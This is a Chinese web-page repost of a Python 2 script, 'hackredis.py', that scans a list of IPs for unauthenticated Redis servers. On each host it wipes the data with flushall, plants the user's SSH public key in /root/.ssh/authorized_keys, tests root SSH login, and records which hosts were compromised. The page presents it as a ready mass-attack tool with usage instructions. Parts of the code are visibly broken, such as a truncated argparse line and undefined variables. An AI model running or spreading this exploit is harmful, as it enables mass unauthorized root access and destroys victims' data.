python脚本实现Redis未授权批量提权
2023-06-13 09:19:50 时间
前言
本文主要给大家介绍了关于redis未授权批量提权的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧。
安装依赖
sudo easy_install redis
使用
redis python hackredis.py usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT] For Example: ----------------------------------------------------------------------------- python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22 optional arguments: -h, --help show this help message and exit -l IPLIST the hosts of target -p PORT the redis default port -r ID_RSAFILE the ssh id_rsa file you generate -sp SSH_PORT the ssh port
首先需要ssh密钥:
ssh-keygen -t rsa cp ~/.ssh/id_rsa.pub /tmp/foo.txt
之后将ip列表填入ip.txt,然后就可以跑了。 成功的将会输出到success.txt,执行成功但是ssh连接失败的会存储在unconnect.txt,操作失败的会存储在fail.txt。
#!/usr/bin/python #coding:utf-8 ############################################################# ## @file hackredis.py ## ## @date 2015-12-11 ## ## @author evi1cg ## ############################################################# import redis import argparse import textwrap import sys import pexpect def getargs(): parser = argparse.ArgumentParser(prog="hackredis.py", formatter_ """/ For Example: ----------------------------------------------------------------------------- python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22""")) parser.add_argument("-l", dest="iplist", type=str, help="the hosts of target") parser.add_argument("-p", dest="port", default=6379, type=int, help="the redis default port") parser.add_argument("-r", dest="id_rsafile", type=str, help="the ssh id_rsa file you generate") parser.add_argument("-sp", dest="ssh_port", type=int,default=22, help="the ssh port") if(len(sys.argv[1:]) / 2 != 4): sys.argv.append("-h") return parser.parse_args() def hackredis(host,port): ck = 0 try: print "[*] Attacking ip:%s"%host r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2) r.flushall r.set("crackit",foo) r.config_set("dir","/root/.ssh/") r.config_set("dbfilename","authorized_keys") r.save() ck =1 except: print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host write(host,2) ck =0 if ck == 1: check(host) else: pass def check(host): print "/033[1;33;40m[*]/033[0m Check connecting... " try: ssh = pexpect.spawn("ssh root@%s -p %d" %(host,ssh_port)) i = ssh.expect("[#/$]",timeout=2) if i == 0: print "/033[1;34;40m[+]/033[0m Success !" write(host,1) else: pass except: print "/033[1;32;40m[-]/033[0m Failed to connect !" write(host,3) def write(host,suc): if suc == 1: filesname = "success.txt" elif suc ==2: filesname = "fail.txt" elif suc ==3: filesname = "unconnect.txt" else: pass file_object = open(filesname,"a") file_object.write(host+"/n") file_object.close()本篇文章到此结束,如果您有相关技术方面疑问可以联系我们技术人员远程解决,感谢大家支持本站!
我想要获取技术服务或软件
服务范围:MySQL、ORACLE、SQLSERVER、MongoDB、PostgreSQL 、程序问题
服务方式:远程服务、电话支持、现场服务,沟通指定方式服务
技术标签:数据恢复、安装配置、数据迁移、集群容灾、异常处理、其它问题
本站部分文章参考或来源于网络,如有侵权请联系站长。
数据库远程运维 python脚本实现Redis未授权批量提权
相关文章
- 实现项目中高性能的Redis应用(redis应用到项目中)
- Redis最大key数:揭秘背后的故事(redis多少个key)
- 使用 Redis 快速查询列表数据(redis查询list)
- Redis批量导出数据,轻松备份Redis数据库信息(redis批量导出数据)
- ymysql在Python中使用Redis CLI和Pymysql(redis cli p)
- 一键清理批量删除Redis缓存数据(批量删除redis缓存)
- 一次性批量删除Redis中的值(批量删除redis 值)
- 批量操作Redis一步解决大量性能问题(批量写redis)
- 开启Redis之旅从客户端开始(开启redis客户端)
- 一键批量导入Redis实现大数据仓库快速构建(数据批量导入redis)
- 巨量爬取多线程爬取Redis数据(批量爬虫线程读redis)
- Redis高级教程学习百度云课堂(redis高级视频百度云)
- Redis集群与MySQL结合,让系统更快更稳定(redis集群mysql)
- 批量查询Redis集合用一种更高效的方式(redis集合批量查询)
- Redis实现无重复随机取值(redis随机取值不重复)
- Redis命令助力数据管理简易化(下列redis命令)
- 使用Redis连接一步一步指南(redis链接教程)
- 如何使用Redis配置安全的密钥(redis 配置密?)
- Redis进程无法关闭一场持续的灾难(redis 进程无法关闭)
- 让Redis输出中文不再乱码(redis输入中文乱码)
- Redis读写分离极致用户体验的中间件之路(redis读写分离中间件)
- 建立Redis集群,全面保护JWT安全(redis集群jwt)
- 利用Redis进行远程批量数据删除(redis远程批量删除)
- Redis批量远程删除的技术挑战(redis远程批量删除)
- Redis实现远程批量删除功能(redis远程批量删除)
- 使用Redis实现远程批量删除(redis远程批量删除)